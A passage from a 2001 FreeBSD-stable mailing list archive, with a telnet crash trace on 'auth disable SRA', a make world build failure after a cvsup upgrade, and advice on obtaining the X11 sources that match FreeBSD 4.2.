ears. Regards, Mike -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 22:52:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id AD87C37B719 for ; Sat, 17 Mar 2001 22:52:17 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eX32-0004iS-00 for freebsd-stable@FreeBSD.ORG; Sun, 18 Mar 2001 18:52:16 +1200 From: "Juha Saarinen" To: "freebsd-stable@FreeBSD. ORG" Subject: Telnet SRA Date: Sun, 18 Mar 2001 18:55:24 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG 26145 telnet RET write 8 26145 telnet CALL read(0,0x806a400,0x400) 26145 telnet GIO fd 0 read 18 bytes "auth disable SRA " 26145 telnet RET read 18/0x12 26145 telnet PSIG SIGSEGV SIG_DFL 26145 telnet NAMI "telnet.core" This of any use to anyone? -- Regards, Juha PGP fingerprint: B7E1 CC52 5FCA 9756 B502 10C8 4CD8 B066 12F3 9544 "My pid is Inigo Montoya. You kill -9 my parent process. Prepare to vi." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 23:16:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from seatle.vredesdorp.nl (seatle.demon.nl [195.173.228.191]) by hub.freebsd.org (Postfix) with ESMTP id 523A937B718 for ; Sat, 17 Mar 2001 23:16:14 -0800 (PST) (envelope-from rotan@seatle.vredesdorp.nl) Received: (from rotan@localhost) by seatle.vredesdorp.nl (8.9.3/8.9.3) id IAA05324 for freebsd-stable@FreeBSD.ORG; Sun, 18 Mar 2001 08:16:46 +0100 (CET) (envelope-from rotan) Date: Sun, 18 Mar 2001 08:16:42 +0100 From: "Robert Tan T.G." To: freebsd-stable@FreeBSD.ORG Subject: make world Message-ID: <20010318081642.A5067@seatle.vredesdorp.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Im having problems rebuilding my system after a successfull cvsup. I had installed 3.4-RELEASE..and followed the following procedure to update my sources to the 4_0 Stable branch .. [step 1] *default host=cvsup.nl.FreeBSD.org *default base=/usr/local/etc/cvsup *default prefix=/usr *default release=cvs *default delete use-rel-suffix compress src-all tag=RELENG_3_4_RELEASE list=cvs:RELENG_3 src-eBones src-secure src-sys-crypto ports-all tag=. doc-all [step 2] as above except: src-all tag=RELENG_3 [step 3] as above except: src-all tag=RELENG_4 Any help would be great Tnx, rotan. Make world failed output: --> /usr/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc:80: warning: `catch', `throw', and `try' are all C++ reserved words /usr/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc: In function `void operator delete(void *)': /usr/src/gnu/usr.bin/gperf/../../../contrib/gperf/src/new.cc:82: declaration of `operator delete(void *)' throws different exceptions... :82: ...from previous declaration here <-- A failed ports example: --> Error: your port uses an old layout. Please update it to match this bsd.port.mk. If you have updated your ports collection via cvsup and are still getting this error, see Q12 and Q13 in the cvsup FAQ on http://www.polstra.com for further information. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. <-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 23:47:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hamberg.it.uu.se (hamberg.it.uu.se [130.238.9.198]) by hub.freebsd.org (Postfix) with ESMTP id E9C2037B73A for ; Sat, 17 Mar 2001 23:47:17 -0800 (PST) (envelope-from ertr1013@csd.uu.se) Received: (from ertr1013@localhost) by hamberg.it.uu.se (8.8.5/8.8.5) id IAA05418; Sun, 18 Mar 2001 08:47:12 +0100 (MET) Date: Sun, 18 Mar 2001 08:47:12 +0100 From: Erik Trulsson To: Rich Morin Cc: freebsd-stable@freebsd.org Subject: Re: RE: installing X11 sources? Message-ID: <20010318084712.A5342@student.uu.se> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rdm@cfcl.com on Sat, Mar 17, 2001 at 07:19:14PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Mar 17, 2001 at 07:19:14PM -0800, Rich Morin wrote: > Peculiarly, I'm not really all that interested in getting the latest > X11 sources. In fact, we don't even use X11, locally. What I wanted > was a snapshot of the exact source tree that was used to create the > X11R6 binaries that were distributed with FreeBSD 4.2. I was planning > to use this to build linkage information for The FreeBSD Browser: > > http://www.cfcl.com/Meta/md_fb.html > > Now, I'm not quite sure what to do. I guess I'll grab the current > version from the ports collection and hope it's not too different... > Simply use the ports collection that came with 4.2-release and do a 'make patch'. That should result in exactly the same source as was used to build the binaries which came with 4.2 (There are just a couple of small bugfixes that have been applied since 4.2 so the latest should do fairly well too.) -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message